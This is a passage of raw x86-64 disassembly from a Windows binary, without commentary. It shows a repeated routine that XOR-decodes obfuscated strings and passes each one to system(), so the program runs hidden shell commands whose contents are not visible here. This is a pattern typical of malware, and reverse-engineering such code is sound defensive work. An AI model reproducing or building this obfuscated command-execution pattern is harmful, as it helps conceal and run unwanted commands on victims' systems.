call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x78], al
lea rdx, [rbp + 0x1f80]
lea rcx, [rbp + 0x78]
call fcn.14006e940
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14005a460
mov r8d, r14d
cmp r12d, 2
jl 0x14005a421
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14005a330
cmp r8d, 0x15
jge 0x14005a460
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14005a430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x79], al
lea rdx, [rbp + 0x1f95]
lea rcx, [rbp + 0x79]
call fcn.14006e970
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14005a5e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005a5a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14005a4b0
cmp r8d, 0x16
jge 0x14005a5e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14005a5b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7a], al
lea rdx, [rbp + 0x1fdb]
lea rcx, [rbp + 0x7a]
call fcn.14006e9a0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005a760
mov r8d, r14d
cmp r12d, 2
jl 0x14005a721
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005a630
cmp r8d, 0x19
jge 0x14005a760
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14005a730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7b], al
lea rdx, [rbp + 0x2071]
lea rcx, [rbp + 0x7b]
call fcn.14006e9d0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005a8e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005a8a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005a7b0
cmp r8d, 0x1a
jge 0x14005a8e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14005a8b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7c], al
lea rdx, [rbp + 0x1fab]
lea rcx, [rbp + 0x7c]
call fcn.14006ea00
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005aa60
cmp r12d, 2
jl 0x14005aa1b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14005a930
jmp 0x14005aa60
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14005aa30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7d], al
lea rdx, [rbp + 0x1fc3]
lea rcx, [rbp + 0x7d]
call fcn.14006ea20
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005abe0
cmp r12d, 2
jl 0x14005ab9b
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14005aab0
jmp 0x14005abe0
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14005abb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7e], al
lea rdx, [rbp + 0x1ff4]
lea rcx, [rbp + 0x7e]
call fcn.14006ea40
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005ad60
mov r8d, r14d
cmp r12d, 2
jl 0x14005ad21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005ac30
cmp r8d, 0x19
jge 0x14005ad60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14005ad30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x7f], al
lea rdx, [rbp + 0x208b]
lea rcx, [rbp + 0x7f]
call fcn.14006ea70
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005aee0
mov r8d, r14d
cmp r12d, 2
jl 0x14005aea1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005adb0
cmp r8d, 0x1a
jge 0x14005aee0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14005aeb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x80], al
lea rdx, [rbp + 0x20a5]
lea rcx, [rbp + 0x80]
call fcn.14006eaa0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005b060
mov r8d, r14d
cmp r12d, 2
jl 0x14005b021
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005af30
cmp r8d, 0x1a
jge 0x14005b060
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14005b030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x81], al
lea rdx, [rbp + 0x200d]
lea rcx, [rbp + 0x81]
call fcn.14006ead0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005b1e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005b1a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005b0b0
cmp r8d, 0x19
jge 0x14005b1e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14005b1b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x82], al
lea rdx, [rbp + 0x212a]
lea rcx, [rbp + 0x82]
call fcn.14006eb00
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14005b360
mov r8d, r14d
cmp r12d, 2
jl 0x14005b321
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14005b230
cmp r8d, 0x1d
jge 0x14005b360
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14005b330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x83], al
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x83]
call fcn.14006eb30
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005b4e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005b4a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005b3b0
cmp r8d, 0x21
jge 0x14005b4e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14005b4b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x84], al
lea rdx, [rbp + 0x33dc]
lea rcx, [rbp + 0x84]
call fcn.14006eb60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14005b660
mov r8d, r14d
cmp r12d, 2
jl 0x14005b621
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
